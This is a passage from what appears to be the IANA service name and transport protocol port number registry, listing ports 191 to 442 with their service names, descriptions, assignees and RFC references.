prospero 191 udp Prospero Directory Service [B_Clifford_Neuman] [B_Clifford_Neuman]
osu-nms 192 tcp OSU Network Monitoring [Doug_Karl] [Doug_Karl]
System
osu-nms 192 udp OSU Network Monitoring [Doug_Karl] [Doug_Karl]
System
srmp 193 tcp Spider Remote Monitoring [Ted_J_Socolofsky] [Ted_J_Socolofsky]
Protocol
srmp 193 udp Spider Remote Monitoring [Ted_J_Socolofsky] [Ted_J_Socolofsky]
Protocol
irc 194 tcp Internet Relay Chat Protocol [Jarkko_Oikarinen] [Jarkko_Oikarinen]
irc 194 udp Internet Relay Chat Protocol [Jarkko_Oikarinen] [Jarkko_Oikarinen]
dn6-nlm-aud 195 tcp DNSIX Network Level Module
Audit
dn6-nlm-aud 195 udp DNSIX Network Level Module
Audit
dn6-smm-red 196 tcp DNSIX Session Mgt Module [Lawrence_Lebahn] [Lawrence_Lebahn]
Audit Redir
dn6-smm-red 196 udp DNSIX Session Mgt Module [Lawrence_Lebahn] [Lawrence_Lebahn]
Audit Redir
dls 197 tcp Directory Location Service
dls 197 udp Directory Location Service
dls-mon 198 tcp Directory Location Service [Scott_Bellew] [Scott_Bellew]
Monitor
dls-mon 198 udp Directory Location Service [Scott_Bellew] [Scott_Bellew]
Monitor
smux 199 tcp SMUX [Marshall_Rose] [Marshall_Rose]
smux 199 udp SMUX [Marshall_Rose] [Marshall_Rose]
src 200 tcp IBM System Resource [Gerald_McBrearty] [Gerald_McBrearty]
Controller
src 200 udp IBM System Resource [Gerald_McBrearty] [Gerald_McBrearty]
Controller
at-rtmp 201 tcp AppleTalk Routing
Maintenance
at-rtmp 201 udp AppleTalk Routing
Maintenance
at-nbp 202 tcp AppleTalk Name Binding
at-nbp 202 udp AppleTalk Name Binding
at-3 203 tcp AppleTalk Unused
at-3 203 udp AppleTalk Unused
at-echo 204 tcp AppleTalk Echo
at-echo 204 udp AppleTalk Echo
at-5 205 tcp AppleTalk Unused
at-5 205 udp AppleTalk Unused
at-zis 206 tcp AppleTalk Zone Information
at-zis 206 udp AppleTalk Zone Information
at-7 207 tcp AppleTalk Unused
at-7 207 udp AppleTalk Unused
at-8 208 tcp AppleTalk Unused [Rob_Chandhok] [Rob_Chandhok]
at-8 208 udp AppleTalk Unused [Rob_Chandhok] [Rob_Chandhok]
qmtp 209 tcp The Quick Mail Transfer [D_J_Bernstein] [D_J_Bernstein] 2018-04-05
Protocol
qmtp 209 udp The Quick Mail Transfer [D_J_Bernstein] [D_J_Bernstein] 2018-04-05
Protocol
ANSI Z39.50
z39-50 210 tcp IANA assigned this [Mark_H_Needleman] [Mark_H_Needleman]
well-formed service name as
a replacement for "z39.50".
This entry is an alias to "z39-50". This entry is now
z39.50 210 tcp ANSI Z39.50 [Mark_H_Needleman] [Mark_H_Needleman] historic, not usable for use with many common service
discovery mechanisms.
ANSI Z39.50
z39-50 210 udp IANA assigned this [Mark_H_Needleman] [Mark_H_Needleman]
well-formed service name as
a replacement for "z39.50".
This entry is an alias to "z39-50". This entry is now
z39.50 210 udp ANSI Z39.50 [Mark_H_Needleman] [Mark_H_Needleman] historic, not usable for use with many common service
discovery mechanisms.
Texas Instruments 914C/G
Terminal
914c-g 211 tcp [Bill_Harrell] [Bill_Harrell]
IANA assigned this
well-formed service name as
a replacement for "914c/g".
Texas Instruments 914C/G This entry is an alias to "914c-g". This entry is now
914c/g 211 tcp Terminal [Bill_Harrell] [Bill_Harrell] historic, not usable for use with many common service
discovery mechanisms.
Texas Instruments 914C/G
Terminal
914c-g 211 udp [Bill_Harrell] [Bill_Harrell]
IANA assigned this
well-formed service name as
a replacement for "914c/g".
Texas Instruments 914C/G This entry is an alias to "914c-g". This entry is now
914c/g 211 udp Terminal [Bill_Harrell] [Bill_Harrell] historic, not usable for use with many common service
discovery mechanisms.
anet 212 tcp ATEXSSTR [Jim_Taylor] [Jim_Taylor]
anet 212 udp ATEXSSTR [Jim_Taylor] [Jim_Taylor]
ipx 213 tcp IPX [Don_Provan] [Don_Provan]
ipx 213 udp IPX [Don_Provan] [Don_Provan]
vmpwscs 214 tcp VM PWSCS [Dan_Shia] [Dan_Shia]
vmpwscs 214 udp VM PWSCS [Dan_Shia] [Dan_Shia]
softpc 215 tcp Insignia Solutions [Martyn_Thomas] [Martyn_Thomas]
softpc 215 udp Insignia Solutions [Martyn_Thomas] [Martyn_Thomas]
CAIlic 216 tcp Computer Associates Int'l [Chuck_Spitz] [Chuck_Spitz]
License Server
CAIlic 216 udp Computer Associates Int'l [Chuck_Spitz] [Chuck_Spitz]
License Server
dbase 217 tcp dBASE Unix [Don_Gibson] [Don_Gibson]
dbase 217 udp dBASE Unix [Don_Gibson] [Don_Gibson]
mpp 218 tcp Netix Message Posting [Shannon_Yeh] [Shannon_Yeh]
Protocol
mpp 218 udp Netix Message Posting [Shannon_Yeh] [Shannon_Yeh]
Protocol
uarps 219 tcp Unisys ARPs [Ashok_Marwaha] [Ashok_Marwaha]
uarps 219 udp Unisys ARPs [Ashok_Marwaha] [Ashok_Marwaha]
imap3 220 tcp Interactive Mail Access [James_Rice] [James_Rice]
Protocol v3
imap3 220 udp Interactive Mail Access [James_Rice] [James_Rice]
Protocol v3
fln-spx 221 tcp Berkeley rlogind with SPX
auth
fln-spx 221 udp Berkeley rlogind with SPX
auth
rsh-spx 222 tcp Berkeley rshd with SPX auth
rsh-spx 222 udp Berkeley rshd with SPX auth
cdc 223 tcp Certificate Distribution [Kannan_Alagappan] [Kannan_Alagappan]
Center
cdc 223 udp Certificate Distribution [Kannan_Alagappan] [Kannan_Alagappan]
Center
masqdialer 224 tcp masqdialer [Charles_Wright] [Charles_Wright] Possible Conflict of Port 222 with "Masqdialer"
masqdialer 224 udp masqdialer [Charles_Wright] [Charles_Wright] Possible Conflict of Port 222 with "Masqdialer"
225-241 Reserved [Jon_Postel] [Jon_Postel]
direct 242 tcp Direct [Herb_Sutter] [Paul_Horton]
direct 242 udp Direct [Herb_Sutter] [Paul_Horton]
sur-meas 243 tcp Survey Measurement [Dave_Clark] [Dave_Clark]
sur-meas 243 udp Survey Measurement [Dave_Clark] [Dave_Clark]
inbusiness 244 tcp inbusiness [Derrick_Hisatake] [Derrick_Hisatake]
inbusiness 244 udp inbusiness [Derrick_Hisatake] [Derrick_Hisatake]
link 245 tcp LINK
link 245 udp LINK
dsp3270 246 tcp Display Systems Protocol [Weldon_J_Showalter] [Weldon_J_Showalter]
dsp3270 246 udp Display Systems Protocol [Weldon_J_Showalter] [Weldon_J_Showalter]
SUBNTBCST_TFTP
subntbcst-tftp 247 tcp IANA assigned this [John_Fake] [John_Fake]
well-formed service name as
a replacement for
"subntbcst_tftp".
This entry is an alias to "subntbcst-tftp". This entry is now
subntbcst_tftp 247 tcp SUBNTBCST_TFTP [John_Fake] [John_Fake] historic, not usable for use with many common service
discovery mechanisms.
SUBNTBCST_TFTP
subntbcst-tftp 247 udp IANA assigned this [John_Fake] [John_Fake]
well-formed service name as
a replacement for
"subntbcst_tftp".
This entry is an alias to "subntbcst-tftp". This entry is now
subntbcst_tftp 247 udp SUBNTBCST_TFTP [John_Fake] [John_Fake] historic, not usable for use with many common service
discovery mechanisms.
bhfhs 248 tcp bhfhs [John_Kelly] [John_Kelly]
bhfhs 248 udp bhfhs [John_Kelly] [John_Kelly]
249-255 Reserved [Jon_Postel] [Jon_Postel]
rap 256 tcp RAP [J_S_Greenfield] [J_S_Greenfield]
rap 256 udp RAP [J_S_Greenfield] [J_S_Greenfield]
set 257 tcp Secure Electronic [Donald_Eastlake] [Donald_Eastlake]
Transaction
set 257 udp Secure Electronic [Donald_Eastlake] [Donald_Eastlake]
Transaction
258 Unassigned 2006-09-13
esro-gen 259 tcp Efficient Short Remote [Mohsen_Banan] [Mohsen_Banan]
Operations
esro-gen 259 udp Efficient Short Remote [Mohsen_Banan] [Mohsen_Banan]
Operations
openport 260 tcp Openport [John_Marland] [John_Marland]
openport 260 udp Openport [John_Marland] [John_Marland]
nsiiops 261 tcp IIOP Name Service over [Jeff_Stewart] [Jeff_Stewart]
TLS/SSL
nsiiops 261 udp IIOP Name Service over [Jeff_Stewart] [Jeff_Stewart]
TLS/SSL
arcisdms 262 tcp Arcisdms [Russell_Crook] [Russell_Crook]
arcisdms 262 udp Arcisdms [Russell_Crook] [Russell_Crook]
hdap 263 tcp HDAP [Troy_Gau] [Troy_Gau]
hdap 263 udp HDAP [Troy_Gau] [Troy_Gau]
bgmp 264 tcp BGMP [Dave_Thaler] [Dave_Thaler]
bgmp 264 udp BGMP [Dave_Thaler] [Dave_Thaler]
x-bone-ctl 265 tcp X-Bone CTL [Joe_Touch] [Joe_Touch]
x-bone-ctl 265 udp X-Bone CTL [Joe_Touch] [Joe_Touch]
sst 266 tcp SCSI on ST [Donald_D_Woelz] [Donald_D_Woelz]
sst 266 udp SCSI on ST [Donald_D_Woelz] [Donald_D_Woelz]
td-service 267 tcp Tobit David Service Layer
td-service 267 udp Tobit David Service Layer
td-replica 268 tcp Tobit David Replica [Franz_Josef_Leuders] [Franz_Josef_Leuders]
td-replica 268 udp Tobit David Replica [Franz_Josef_Leuders] [Franz_Josef_Leuders]
manet 269 tcp MANET Protocols [RFC5498]
manet 269 udp MANET Protocols [RFC5498]
270 tcp Reserved
gist 270 udp Q-mode encapsulation for [RFC5971]
GIST messages
IETF Network Endpoint
pt-tls 271 tcp Assessment (NEA) Posture [IESG] [IETF_Chair] 2012-07-31 [RFC6876]
Transport Protocol over TLS
(PT-TLS)
271 udp Reserved
272-279 Unassigned
http-mgmt 280 tcp http-mgmt [Adrian_Pell] [Adrian_Pell]
http-mgmt 280 udp http-mgmt [Adrian_Pell] [Adrian_Pell]
personal-link 281 tcp Personal Link [Dan_Cummings] [Dan_Cummings]
personal-link 281 udp Personal Link [Dan_Cummings] [Dan_Cummings]
cableport-ax 282 tcp Cable Port A/X [Craig_Langfahl] [Craig_Langfahl]
cableport-ax 282 udp Cable Port A/X [Craig_Langfahl] [Craig_Langfahl]
rescap 283 tcp rescap [Paul_Hoffman] [Paul_Hoffman]
rescap 283 udp rescap [Paul_Hoffman] [Paul_Hoffman]
corerjd 284 tcp corerjd [Chris_Thornhill] [Chris_Thornhill]
corerjd 284 udp corerjd [Chris_Thornhill] [Chris_Thornhill]
285 Unassigned
fxp 286 tcp FXP Communication [James_Darnall] [James_Darnall]
fxp 286 udp FXP Communication [James_Darnall] [James_Darnall]
k-block 287 tcp K-BLOCK [Simon_P_Jackson] [Simon_P_Jackson]
k-block 287 udp K-BLOCK [Simon_P_Jackson] [Simon_P_Jackson]
288-307 Unassigned
novastorbakcup 308 tcp Novastor Backup [Brian_Dickman] [Brian_Dickman]
novastorbakcup 308 udp Novastor Backup [Brian_Dickman] [Brian_Dickman]
entrusttime 309 tcp EntrustTime [Peter_Whittaker] [Peter_Whittaker]
entrusttime 309 udp EntrustTime [Peter_Whittaker] [Peter_Whittaker]
bhmds 310 tcp bhmds [John_Kelly] [John_Kelly]
bhmds 310 udp bhmds [John_Kelly] [John_Kelly]
asip-webadmin 311 tcp AppleShare IP WebAdmin [Ann_Huang] [Ann_Huang]
asip-webadmin 311 udp AppleShare IP WebAdmin [Ann_Huang] [Ann_Huang]
vslmp 312 tcp VSLMP [Gerben_Wierda] [Gerben_Wierda]
vslmp 312 udp VSLMP [Gerben_Wierda] [Gerben_Wierda]
magenta-logic 313 tcp Magenta Logic [Karl_Rousseau] [Karl_Rousseau]
magenta-logic 313 udp Magenta Logic [Karl_Rousseau] [Karl_Rousseau]
opalis-robot 314 tcp Opalis Robot [Laurent_Domenech] [Laurent_Domenech]
opalis-robot 314 udp Opalis Robot [Laurent_Domenech] [Laurent_Domenech]
dpsi 315 tcp DPSI [Tony_Scamurra] [Tony_Scamurra]
dpsi 315 udp DPSI [Tony_Scamurra] [Tony_Scamurra]
decauth 316 tcp decAuth [Michael_Agishtein] [Michael_Agishtein]
decauth 316 udp decAuth [Michael_Agishtein] [Michael_Agishtein]
zannet 317 tcp Zannet [Zan_Oliphant] [Zan_Oliphant]
zannet 317 udp Zannet [Zan_Oliphant] [Zan_Oliphant]
pkix-timestamp 318 tcp PKIX TimeStamp [Robert_Zuccherato] [Robert_Zuccherato]
pkix-timestamp 318 udp PKIX TimeStamp [Robert_Zuccherato] [Robert_Zuccherato]
ptp-event 319 tcp PTP Event [Kang_Lee] [Kang_Lee] 2010-07-27
ptp-event 319 udp PTP Event [Kang_Lee] [Kang_Lee] 2010-07-27
ptp-general 320 tcp PTP General [Kang_Lee] [Kang_Lee] 2010-07-27
ptp-general 320 udp PTP General [Kang_Lee] [Kang_Lee] 2010-07-27
pip 321 tcp PIP [Gordon_Mohr] [Gordon_Mohr]
pip 321 udp PIP [Gordon_Mohr] [Gordon_Mohr]
rtsps 322 tcp RTSPS [Anders_Klemets] [Anders_Klemets]
rtsps 322 udp RTSPS [Anders_Klemets] [Anders_Klemets]
rpki-rtr 323 tcp Resource PKI to Router [IESG] [IETF_Chair] [RFC6810]
Protocol
323 udp Reserved
rpki-rtr-tls 324 tcp Resource PKI to Router [IESG] [IETF_Chair] [RFC6810]
Protocol over TLS
324 udp Reserved
325-332 Unassigned
texar 333 tcp Texar Security Port [Eugen_Bacic] [Eugen_Bacic]
texar 333 udp Texar Security Port [Eugen_Bacic] [Eugen_Bacic]
334-343 Unassigned
pdap 344 tcp Prospero Data Access [B_Clifford_Neuman] [B_Clifford_Neuman]
Protocol
pdap 344 udp Prospero Data Access [B_Clifford_Neuman] [B_Clifford_Neuman]
Protocol
pawserv 345 tcp Perf Analysis Workbench
pawserv 345 udp Perf Analysis Workbench
zserv 346 tcp Zebra server
zserv 346 udp Zebra server
fatserv 347 tcp Fatmen Server
fatserv 347 udp Fatmen Server
csi-sgwp 348 tcp Cabletron Management
Protocol
csi-sgwp 348 udp Cabletron Management
Protocol
mftp 349 tcp mftp [Dave_Feinleib] [Dave_Feinleib]
mftp 349 udp mftp [Dave_Feinleib] [Dave_Feinleib]
matip-type-a 350 tcp MATIP Type A [Alain_Robert] [Alain_Robert] [RFC2351]
matip-type-a 350 udp MATIP Type A [Alain_Robert] [Alain_Robert] [RFC2351]
matip-type-b 351 tcp MATIP Type B [Alain_Robert] [Alain_Robert] [RFC2351]
matip-type-b 351 udp MATIP Type B [Alain_Robert] [Alain_Robert] [RFC2351]
bhoetty 351 tcp bhoetty [John_Kelly] [John_Kelly] This entry records an unassigned but widespread use (added
5/21/97)
bhoetty 351 udp bhoetty [John_Kelly] [John_Kelly] This entry records an unassigned but widespread use (added
5/21/97)
dtag-ste-sb 352 tcp DTAG [Ruediger_Wald] [Ruediger_Wald] (assigned long ago)
dtag-ste-sb 352 udp DTAG [Ruediger_Wald] [Ruediger_Wald] (assigned long ago)
bhoedap4 352 tcp bhoedap4 [John_Kelly] [John_Kelly] This entry records an unassigned but widespread use (added
5/21/97)
bhoedap4 352 udp bhoedap4 [John_Kelly] [John_Kelly] This entry records an unassigned but widespread use (added
5/21/97)
ndsauth 353 tcp NDSAUTH [Jayakumar_Ramalingam] [Jayakumar_Ramalingam]
ndsauth 353 udp NDSAUTH [Jayakumar_Ramalingam] [Jayakumar_Ramalingam]
bh611 354 tcp bh611 [John_Kelly] [John_Kelly]
bh611 354 udp bh611 [John_Kelly] [John_Kelly]
datex-asn 355 tcp DATEX-ASN [Kenneth_Vaughn] [Kenneth_Vaughn]
datex-asn 355 udp DATEX-ASN [Kenneth_Vaughn] [Kenneth_Vaughn]
cloanto-net-1 356 tcp Cloanto Net 1 [Michael_Battilana] [Michael_Battilana] 2010-04-30
cloanto-net-1 356 udp Cloanto Net 1 [Michael_Battilana] [Michael_Battilana] 2010-04-30
bhevent 357 tcp bhevent [John_Kelly] [John_Kelly]
bhevent 357 udp bhevent [John_Kelly] [John_Kelly]
shrinkwrap 358 tcp Shrinkwrap [Bill_Simpson] [Bill_Simpson]
shrinkwrap 358 udp Shrinkwrap [Bill_Simpson] [Bill_Simpson]
nsrmp 359 tcp Network Security Risk [Eric_Jacksch] [Eric_Jacksch]
Management Protocol
nsrmp 359 udp Network Security Risk [Eric_Jacksch] [Eric_Jacksch]
Management Protocol
scoi2odialog 360 tcp scoi2odialog [Keith_Petley] [Keith_Petley]
scoi2odialog 360 udp scoi2odialog [Keith_Petley] [Keith_Petley]
semantix 361 tcp Semantix [Semantix] [Semantix]
semantix 361 udp Semantix [Semantix] [Semantix]
srssend 362 tcp SRS Send [Curt_Mayer] [Curt_Mayer]
srssend 362 udp SRS Send [Curt_Mayer] [Curt_Mayer]
RSVP Tunnel
rsvp-tunnel 363 tcp IANA assigned this [Andreas_Terzis] [Andreas_Terzis]
well-formed service name as
a replacement for
"rsvp_tunnel".
This entry is an alias to "rsvp-tunnel". This entry is now
rsvp_tunnel 363 tcp RSVP Tunnel [Andreas_Terzis] [Andreas_Terzis] historic, not usable for use with many common service
discovery mechanisms.
RSVP Tunnel
rsvp-tunnel 363 udp IANA assigned this [Andreas_Terzis] [Andreas_Terzis]
well-formed service name as
a replacement for
"rsvp_tunnel".
This entry is an alias to "rsvp-tunnel". This entry is now
rsvp_tunnel 363 udp RSVP Tunnel [Andreas_Terzis] [Andreas_Terzis] historic, not usable for use with many common service
discovery mechanisms.
aurora-cmgr 364 tcp Aurora CMGR [Philip_Budne] [Philip_Budne]
aurora-cmgr 364 udp Aurora CMGR [Philip_Budne] [Philip_Budne]
dtk 365 tcp DTK [Fred_Cohen] [Fred_Cohen]
dtk 365 udp DTK [Fred_Cohen] [Fred_Cohen]
odmr 366 tcp ODMR [Randall_Gellens] [Randall_Gellens]
odmr 366 udp ODMR [Randall_Gellens] [Randall_Gellens]
mortgageware 367 tcp MortgageWare [Ole_Hellevik] [Ole_Hellevik]
mortgageware 367 udp MortgageWare [Ole_Hellevik] [Ole_Hellevik]
qbikgdp 368 tcp QbikGDP [Adrien_de_Croy] [Adrien_de_Croy]
qbikgdp 368 udp QbikGDP [Adrien_de_Croy] [Adrien_de_Croy]
rpc2portmap 369 tcp rpc2portmap
rpc2portmap 369 udp rpc2portmap
codaauth2 370 tcp codaauth2 [Robert_Watson] [Robert_Watson]
codaauth2 370 udp codaauth2 [Robert_Watson] [Robert_Watson]
clearcase 371 tcp Clearcase [Dave_LeBlang] [Dave_LeBlang]
clearcase 371 udp Clearcase [Dave_LeBlang] [Dave_LeBlang]
ulistproc 372 tcp ListProcessor [Anastasios_Kotsikona] [Anastasios_Kotsikona]
ulistproc 372 udp ListProcessor [Anastasios_Kotsikona] [Anastasios_Kotsikona]
legent-1 373 tcp Legent Corporation
legent-1 373 udp Legent Corporation
legent-2 374 tcp Legent Corporation [Keith_Boyce] [Keith_Boyce]
legent-2 374 udp Legent Corporation [Keith_Boyce] [Keith_Boyce]
hassle 375 tcp Hassle [Reinhard_Doelz] [Reinhard_Doelz]
hassle 375 udp Hassle [Reinhard_Doelz] [Reinhard_Doelz]
nip 376 tcp Amiga Envoy Network Inquiry [Heinz_Wrobel] [Heinz_Wrobel]
Proto
nip 376 udp Amiga Envoy Network Inquiry [Heinz_Wrobel] [Heinz_Wrobel]
Proto
tnETOS 377 tcp NEC Corporation
tnETOS 377 udp NEC Corporation
dsETOS 378 tcp NEC Corporation [Tomoo_Fujita] [Tomoo_Fujita]
dsETOS 378 udp NEC Corporation [Tomoo_Fujita] [Tomoo_Fujita]
is99c 379 tcp TIA/EIA/IS-99 modem client
is99c 379 udp TIA/EIA/IS-99 modem client
is99s 380 tcp TIA/EIA/IS-99 modem server [Frank_Quick] [Frank_Quick]
is99s 380 udp TIA/EIA/IS-99 modem server [Frank_Quick] [Frank_Quick]
hp-collector 381 tcp hp performance data
collector
hp-collector 381 udp hp performance data
collector
hp-managed-node 382 tcp hp performance data managed
node
hp-managed-node 382 udp hp performance data managed
node
hp-alarm-mgr 383 tcp hp performance data alarm [Frank_Blakely] [Frank_Blakely]
manager
hp-alarm-mgr 383 udp hp performance data alarm [Frank_Blakely] [Frank_Blakely]
manager
arns 384 tcp A Remote Network Server [David_Hornsby] [David_Hornsby]
System
arns 384 udp A Remote Network Server [David_Hornsby] [David_Hornsby]
System
ibm-app 385 tcp IBM Application [Lisa_Tomita] [Lisa_Tomita]
ibm-app 385 udp IBM Application [Lisa_Tomita] [Lisa_Tomita]
asa 386 tcp ASA Message Router Object [Steve_Laitinen] [Steve_Laitinen]
Def.
asa 386 udp ASA Message Router Object [Steve_Laitinen] [Steve_Laitinen]
Def.
aurp 387 tcp Appletalk Update-Based [Chris_Ranch] [Chris_Ranch]
Routing Pro.
aurp 387 udp Appletalk Update-Based [Chris_Ranch] [Chris_Ranch]
Routing Pro.
unidata-ldm 388 tcp Unidata LDM [University_Corporation_for_Atmospheric_Research2] [Steven_Emmerson2] 2012-05-18
unidata-ldm 388 udp Unidata LDM [University_Corporation_for_Atmospheric_Research2] [Steven_Emmerson2] 2012-05-18
ldap 389 tcp Lightweight Directory Access [Tim_Howes] [Tim_Howes]
Protocol
ldap 389 udp Lightweight Directory Access [Tim_Howes] [Tim_Howes]
Protocol
uis 390 tcp UIS [Ed_Barron] [Ed_Barron]
uis 390 udp UIS [Ed_Barron] [Ed_Barron]
synotics-relay 391 tcp SynOptics SNMP Relay Port
synotics-relay 391 udp SynOptics SNMP Relay Port
synotics-broker 392 tcp SynOptics Port Broker Port [Illan_Raab] [Illan_Raab]
synotics-broker 392 udp SynOptics Port Broker Port [Illan_Raab] [Illan_Raab]
meta5 393 tcp Meta5 [Jim_Kanzler] [Jim_Kanzler]
meta5 393 udp Meta5 [Jim_Kanzler] [Jim_Kanzler]
embl-ndt 394 tcp EMBL Nucleic Data Transfer [Peter_Gad] [Peter_Gad]
embl-ndt 394 udp EMBL Nucleic Data Transfer [Peter_Gad] [Peter_Gad]
netcp 395 tcp NetScout Control Protocol [Ashwani_Singhal] [Ashwani_Singhal] 2010-04-07
netcp 395 udp NetScout Control Protocol [Ashwani_Singhal] [Ashwani_Singhal] 2010-04-07
netware-ip 396 tcp Novell Netware over IP
netware-ip 396 udp Novell Netware over IP
mptn 397 tcp Multi Protocol Trans. Net. [Soumitra_Sarkar] [Soumitra_Sarkar]
mptn 397 udp Multi Protocol Trans. Net. [Soumitra_Sarkar] [Soumitra_Sarkar]
kryptolan 398 tcp Kryptolan [Peter_de_Laval] [Peter_de_Laval]
kryptolan 398 udp Kryptolan [Peter_de_Laval] [Peter_de_Laval]
iso-tsap-c2 399 tcp ISO Transport Class 2 [Yanick_Pouffary] [Yanick_Pouffary]
Non-Control over TCP
iso-tsap-c2 399 udp ISO Transport Class 2 [Yanick_Pouffary] [Yanick_Pouffary]
Non-Control over UDP
osb-sd 400 tcp Oracle Secure Backup [Joseph_Dziedzic] [Joseph_Dziedzic] 2008-06-06 Formerly was Workstation Solutions
osb-sd 400 udp Oracle Secure Backup [Joseph_Dziedzic] [Joseph_Dziedzic] 2008-06-06 Formerly was Workstation Solutions
ups 401 tcp Uninterruptible Power Supply [Charles_Bennett] [Charles_Bennett] 2008-08-29
ups 401 udp Uninterruptible Power Supply [Charles_Bennett] [Charles_Bennett] 2008-08-29
genie 402 tcp Genie Protocol [Mark_Hankin] [Mark_Hankin]
genie 402 udp Genie Protocol [Mark_Hankin] [Mark_Hankin]
decap 403 tcp decap
decap 403 udp decap
nced 404 tcp nced
nced 404 udp nced
ncld 405 tcp ncld [Richard_Jones] [Richard_Jones]
ncld 405 udp ncld [Richard_Jones] [Richard_Jones]
imsp 406 tcp Interactive Mail Support [John_Myers] [John_Myers]
Protocol
imsp 406 udp Interactive Mail Support [John_Myers] [John_Myers]
Protocol
timbuktu 407 tcp Timbuktu [Marc_Epard] [Marc_Epard]
timbuktu 407 udp Timbuktu [Marc_Epard] [Marc_Epard]
prm-sm 408 tcp Prospero Resource Manager
Sys. Man.
prm-sm 408 udp Prospero Resource Manager
Sys. Man.
prm-nm 409 tcp Prospero Resource Manager [B_Clifford_Neuman] [B_Clifford_Neuman]
Node Man.
prm-nm 409 udp Prospero Resource Manager [B_Clifford_Neuman] [B_Clifford_Neuman]
Node Man.
decladebug 410 tcp DECLadebug Remote Debug [Hewlett_Packard] [Hewlett_Packard]
Protocol
decladebug 410 udp DECLadebug Remote Debug [Hewlett_Packard] [Hewlett_Packard]
Protocol
rmt 411 tcp Remote MT Protocol [Peter_Eriksson] [Peter_Eriksson]
rmt 411 udp Remote MT Protocol [Peter_Eriksson] [Peter_Eriksson]
synoptics-trap 412 tcp Trap Convention Port [Illan_Raab] [Illan_Raab]
synoptics-trap 412 udp Trap Convention Port [Illan_Raab] [Illan_Raab]
smsp 413 tcp Storage Management Services [Murthy_Srinivas] [Murthy_Srinivas]
Protocol
smsp 413 udp Storage Management Services [Murthy_Srinivas] [Murthy_Srinivas]
Protocol
infoseek 414 tcp InfoSeek [Steve_Kirsch] [Steve_Kirsch]
infoseek 414 udp InfoSeek [Steve_Kirsch] [Steve_Kirsch]
bnet 415 tcp BNet [Jim_Mertz] [Jim_Mertz]
bnet 415 udp BNet [Jim_Mertz] [Jim_Mertz]
silverplatter 416 tcp Silverplatter [Peter_Ciuffetti] [Peter_Ciuffetti]
silverplatter 416 udp Silverplatter [Peter_Ciuffetti] [Peter_Ciuffetti]
onmux 417 tcp Onmux [Stephen_Hanna] [Stephen_Hanna]
onmux 417 udp Onmux [Stephen_Hanna] [Stephen_Hanna]
hyper-g 418 tcp Hyper-G [Frank_Kappe] [Frank_Kappe]
hyper-g 418 udp Hyper-G [Frank_Kappe] [Frank_Kappe]
ariel1 419 tcp Ariel 1 [Joel_Karafin] [Joel_Karafin]
ariel1 419 udp Ariel 1 [Joel_Karafin] [Joel_Karafin]
smpte 420 tcp SMPTE [Si_Becker] [Si_Becker]
smpte 420 udp SMPTE [Si_Becker] [Si_Becker]
ariel2 421 tcp Ariel 2
ariel2 421 udp Ariel 2
ariel3 422 tcp Ariel 3 [Joel_Karafin] [Joel_Karafin]
ariel3 422 udp Ariel 3 [Joel_Karafin] [Joel_Karafin]
opc-job-start 423 tcp IBM Operations Planning and
Control Start
opc-job-start 423 udp IBM Operations Planning and
Control Start
opc-job-track 424 tcp IBM Operations Planning and [Conny_Larsson] [Conny_Larsson]
Control Track
opc-job-track 424 udp IBM Operations Planning and [Conny_Larsson] [Conny_Larsson]
Control Track
icad-el 425 tcp ICAD [Larry_Stone] [Larry_Stone]
icad-el 425 udp ICAD [Larry_Stone] [Larry_Stone]
smartsdp 426 tcp smartsdp [Marie_Pierre_Belange] [Marie_Pierre_Belange]
smartsdp 426 udp smartsdp [Marie_Pierre_Belange] [Marie_Pierre_Belange]
svrloc 427 tcp Server Location [Veizades] [Veizades]
svrloc 427 udp Server Location [Veizades] [Veizades]
OCS_CMU
ocs-cmu 428 tcp IANA assigned this
well-formed service name as
a replacement for "ocs_cmu".
This entry is an alias to "ocs-cmu". This entry is now
ocs_cmu 428 tcp OCS_CMU historic, not usable for use with many common service
discovery mechanisms.
OCS_CMU
ocs-cmu 428 udp IANA assigned this
well-formed service name as
a replacement for "ocs_cmu".
This entry is an alias to "ocs-cmu". This entry is now
ocs_cmu 428 udp OCS_CMU historic, not usable for use with many common service
discovery mechanisms.
OCS_AMU
ocs-amu 429 tcp IANA assigned this [Florence_Wyman] [Florence_Wyman]
well-formed service name as
a replacement for "ocs_amu".
This entry is an alias to "ocs-amu". This entry is now
ocs_amu 429 tcp OCS_AMU [Florence_Wyman] [Florence_Wyman] historic, not usable for use with many common service
discovery mechanisms.
OCS_AMU
ocs-amu 429 udp IANA assigned this [Florence_Wyman] [Florence_Wyman]
well-formed service name as
a replacement for "ocs_amu".
This entry is an alias to "ocs-amu". This entry is now
ocs_amu 429 udp OCS_AMU [Florence_Wyman] [Florence_Wyman] historic, not usable for use with many common service
discovery mechanisms.
utmpsd 430 tcp UTMPSD
utmpsd 430 udp UTMPSD
utmpcd 431 tcp UTMPCD
utmpcd 431 udp UTMPCD
iasd 432 tcp IASD [Nir_Baroz] [Nir_Baroz]
iasd 432 udp IASD [Nir_Baroz] [Nir_Baroz]
nnsp 433 tcp NNTP for transit servers [IESG] [IETF_Chair] 2018-07-06 [RFC3977]
(NNSP)
nnsp 433 udp NNTP for transit servers [IESG] [IETF_Chair] 2018-07-06 [RFC3977]
(NNSP)
mobileip-agent 434 tcp MobileIP-Agent
mobileip-agent 434 udp MobileIP-Agent
mobilip-mn 435 tcp MobilIP-MN [Kannan_Alagappan_2] [Kannan_Alagappan_2]
mobilip-mn 435 udp MobilIP-MN [Kannan_Alagappan_2] [Kannan_Alagappan_2]
dna-cml 436 tcp DNA-CML [Dan_Flowers] [Dan_Flowers]
dna-cml 436 udp DNA-CML [Dan_Flowers] [Dan_Flowers]
comscm 437 tcp comscm [Jim_Teague] [Jim_Teague]
comscm 437 udp comscm [Jim_Teague] [Jim_Teague]
dsfgw 438 tcp dsfgw [Andy_McKeen] [Andy_McKeen]
dsfgw 438 udp dsfgw [Andy_McKeen] [Andy_McKeen]
dasp 439 tcp dasp [Thomas_Obermair] [Thomas_Obermair]
dasp 439 udp dasp [Thomas_Obermair] [Thomas_Obermair]
sgcp 440 tcp sgcp [Marshall_Rose] [Marshall_Rose]
sgcp 440 udp sgcp [Marshall_Rose] [Marshall_Rose]
decvms-sysmgt 441 tcp decvms-sysmgt [Lee_Barton] [Lee_Barton]
decvms-sysmgt 441 udp decvms-sysmgt [Lee_Barton] [Lee_Barton]
cvc_hostd
cvc-hostd 442 tcp IANA assigned this [Bill_Davidson] [Bill_Davidson]
well-formed service name as
a replacement for
"cvc_hostd".
This entry is an alias to "cvc-hostd". This entry is now
cvc_hostd 442 tcp cvc_hostd [Bill_Davidson] [Bill_Davidson] historic, not usable for use with many common service
discovery mechanisms.
cvc_hostd
